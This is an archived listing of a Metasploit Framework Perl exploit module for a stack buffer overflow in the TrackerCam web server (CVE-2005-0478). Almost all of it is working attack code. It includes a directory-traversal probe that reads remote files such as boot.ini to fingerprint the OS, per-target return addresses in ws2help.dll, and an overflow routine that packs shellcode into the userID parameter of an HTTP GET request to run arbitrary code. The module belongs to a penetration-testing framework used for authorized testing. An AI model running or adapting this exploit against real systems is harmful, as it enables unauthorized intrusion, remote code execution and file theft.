home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / trackercam_phparg_overflow.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  5.7 KB  |  233 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::trackercam_phparg_overflow;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'     => 'TrackerCam PHP Argument Buffer Overflow',
  20.     'Version'  => '$Revision: 1.5 $',
  21.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  22.     'Arch'     => [ 'x86' ],
  23.     'OS'       => [ 'win32'],
  24.     'Priv'     => 1,
  25.     'AutoOpts' => { 'EXITFUNC' => 'thread' },
  26.  
  27.     'UserOpts' =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 8090],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'        => 2048,
  36.         'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  37.         'Prepend'    => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  38.         'Keys'        => ['+ws2ord'],
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This module exploits a simple stack overflow in the TrackerCam web
  43.     server. All current versions of this software are vulnerable to a large
  44.     number of security issues. This module abuses the directory traversal
  45.     flaw to gain information about the system and then uses the PHP overflow
  46.     to execute arbitrary code.
  47. }),
  48.  
  49.     'Refs'    =>
  50.       [
  51.         ['OSVDB', '13953'],
  52.         ['OSVDB', '13955'],
  53.         ['CVE', '2005-0478'],
  54.         ['BID', '12592'],
  55.         ['URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
  56.         ['MIL', '69'],
  57.       ],
  58.  
  59.     'Targets' =>
  60.       [
  61.  
  62.         # EyeWD.exe has a null and we can not use a partial overwrite.
  63.         # All of the loaded application DLLs have a null in the address...
  64.         # Except CPS.dl, which moves around between instances.
  65.  
  66.         # Windows XP SP2 and Windows 2003 are not supported yet :-/
  67.  
  68.         ['Windows 2000 English',        0x75022ac4 ], # ws2help.dll
  69.         ['Windows XP English SP0/SP1',    0x71aa32ad ], # ws2help.dll
  70.         ['Windows NT 4.0 SP4/SP5/SP6',    0x77681799 ], # ws2help.dll
  71.       ],
  72.  
  73.     'Keys'    => ['trackercam'],
  74.  
  75.     'DisclosureDate' => 'Feb 18 2005',
  76.   };
  77.  
  78. sub new {
  79.     my $class = shift;
  80.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  81.     return($self);
  82. }
  83.  
  84. sub Check {
  85.     my $self = shift;
  86.     my $s = $self->Connect;
  87.  
  88.     if ($s->IsError) {
  89.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  90.         return $self->CheckCode('Connect');
  91.     }
  92.  
  93.     $self->PrintLine("[*] Querying the remote web server...");
  94.  
  95.     my $path = "/tuner/ComGetLogFile.php3?fn=../HTTPRoot/socket.php3";
  96.     my $req  = "GET $path HTTP/1.0\r\n\r\n";
  97.  
  98.     $s->Send($req);
  99.     my $res = $s->Recv(-1, 5);
  100.     $s->Close;
  101.  
  102.     if ($res =~ /fsockopen/) {
  103.         $self->PrintLine("[*] Vulnerable TrackerCam instance discovered");
  104.         $self->Fingerprint();
  105.         return $self->CheckCode('Confirmed');
  106.     }
  107.  
  108.     $self->PrintLine("[*] This TrackerCam service appears to be patched");
  109.     return $self->CheckCode('Safe');
  110. }
  111.  
  112. sub Exploit {
  113.     my $self        = shift;
  114.     my $target_idx    = $self->GetVar('TARGET');
  115.     my $shellcode    = $self->GetVar('EncodedPayload')->Payload;
  116.     my $target        = $self->Targets->[$target_idx];
  117.  
  118.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  119.  
  120.     my $s = $self->Connect;
  121.  
  122.     if ($s->IsError) {
  123.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  124.         return;
  125.     }
  126.  
  127.     my $bang = Pex::Text::EnglishText(8192);
  128.  
  129.     # Simple as pie.
  130.     substr($bang, 257, 4, pack('V', $target->[1]));
  131.     substr($bang, 253, 2, "\xeb\x06");
  132.     substr($bang, 261, length($shellcode), $shellcode);
  133.  
  134.     my $data  = "GET /tuner/TunerGuide.php3?userID=$bang HTTP/1.0\r\n\r\n";
  135.  
  136.     $self->PrintLine("[*] Sending " .length($data) . " bytes to remote host.");
  137.     $s->Send($data);
  138.     $s->Recv(-1, 5);
  139.  
  140.     return;
  141. }
  142.  
  143. # Uses the directory traversal vulnerability to detect the remote OS version
  144. sub Fingerprint {
  145.     my $self = shift;
  146.     my $data = $self->DownloadFile('nobody.txt');
  147.  
  148.     if (! $data ) {
  149.         $self->PrintLine("[*] Download failed for remote test file");
  150.         return;
  151.     }
  152.  
  153.     my ($path) = $data =~ m/in <b>(.*)<\/b> on line/smi;
  154.     $self->PrintLine("[*] Install path: $path") if $path;
  155.  
  156.     if (uc(substr($path, 0, 1)) ne 'C') {
  157.         $self->PrintLine("[*] TrackerCam is probably not installed on the system drive");
  158.     }
  159.  
  160.     if ($data !~ /Program Files/) {
  161.         $self->PrintLine("[*] TrackerCam is installed in a non-standard location");
  162.  
  163.     }
  164.  
  165.     $data = $self->DownloadFile('boot.ini');
  166.     if (! $data ) {
  167.         $self->PrintLine("[*] Download failed for remote boot.ini file");
  168.         return;
  169.     }
  170.  
  171.     # Windows XP SP2
  172.     if ($data =~ /Windows XP.*NoExecute/i) {
  173.         $self->PrintLine("[*] Detected Windows XP SP2");
  174.         return 'WinXPSP2';
  175.     }
  176.  
  177.     if ($data =~ /Windows XP/) {
  178.         $self->PrintLine("[*] Detected Windows XP SP0-SP1");
  179.         return 'WinXPSP01';
  180.     }
  181.  
  182.     if ($data =~ /Windows.*2003/) {
  183.         $self->PrintLine("[*] Detected Windows 2003 Server");
  184.         return 'Win2003';
  185.     }
  186.  
  187.     if ($data =~ /Windows.*2000/) {
  188.         $self->PrintLine("[*] Detected Windows 2000");
  189.         return 'Win2000';
  190.     }
  191.  
  192.     $self->PrintLine("[*] Could not identify this system");
  193.     return;
  194. }
  195.  
  196. sub DownloadFile {
  197.     my $self = shift;
  198.     my $file = shift;
  199.  
  200.     my $s = $self->Connect;
  201.     return if $s->IsError;
  202.  
  203.     my $path = "/tuner/ComGetLogFile.php3?fn=../../../../../../../../../$file";
  204.     my $req  = "GET $path HTTP/1.0\r\n\r\n";
  205.  
  206.     $s->Send($req);
  207.     my $res = $s->Recv(8192, 5);
  208.     $s->Close;
  209.  
  210.     return if ($res !~ /tuner\.css/ || $res !~ /\<pre\>/ );
  211.  
  212.     my ($data) = $res =~ m/<pre>(.*)/smi;
  213.     $data =~ s/<\/pre><\/body>.*//g if $data;
  214.  
  215.     return $res if ! $data;
  216.     return $data;
  217. }
  218.  
  219. sub Connect {
  220.     my $self = shift;
  221.     my $s = Msf::Socket::Tcp->new
  222.       (
  223.         'PeerAddr'    => $self->GetVar('RHOST'),
  224.         'PeerPort'    => $self->GetVar('RPORT'),
  225.         'SSL'        => $self->GetVar('SSL'),
  226.         'LocalPort'    => $self->GetVar('CPORT'),
  227.       );
  228.     return $s;
  229. }
  230.  
  231. 1;
  232.  
  233.